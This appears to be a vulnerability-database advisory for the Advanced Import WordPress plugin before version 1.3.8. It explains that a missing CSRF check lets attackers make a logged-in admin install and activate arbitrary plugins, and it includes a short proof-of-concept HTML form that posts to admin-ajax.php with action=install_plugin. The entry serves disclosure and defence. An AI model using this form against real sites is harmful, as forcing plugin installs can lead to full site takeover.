Advanced Import < 1.3.8 - Arbitrary Plugin Installation & Activation via CSRF

2022-11-1400:00:00

dc11

arbitrary plugin installation

admin csrf

wordpress security

EPSS

0.001

Percentile

34.0%

JSON

The plugin does not have CSRF check when installing and activating plugins, which could allow attackers to make a logged in admin install arbitrary plugins from WordPress.org, and activate arbitrary ones from the blog via CSRF attacks

Make a logged in admin open a page containing the HTML code below

<form action="https://example.com/wp-admin/admin-ajax.php?action=install_plugin" method="POST">
    <input type="text" name="slug" value="hello-dolly">
    <input type="text" name="plugin" value="hello-dolly/hello.php">
    <input type="submit" name="submit" value="submit">
</form>

EPSS

0.001

Percentile

34.0%

JSON

Related for WPEX-ID:5A7C6367-A3E6-4411-8865-2A9DBC9F1450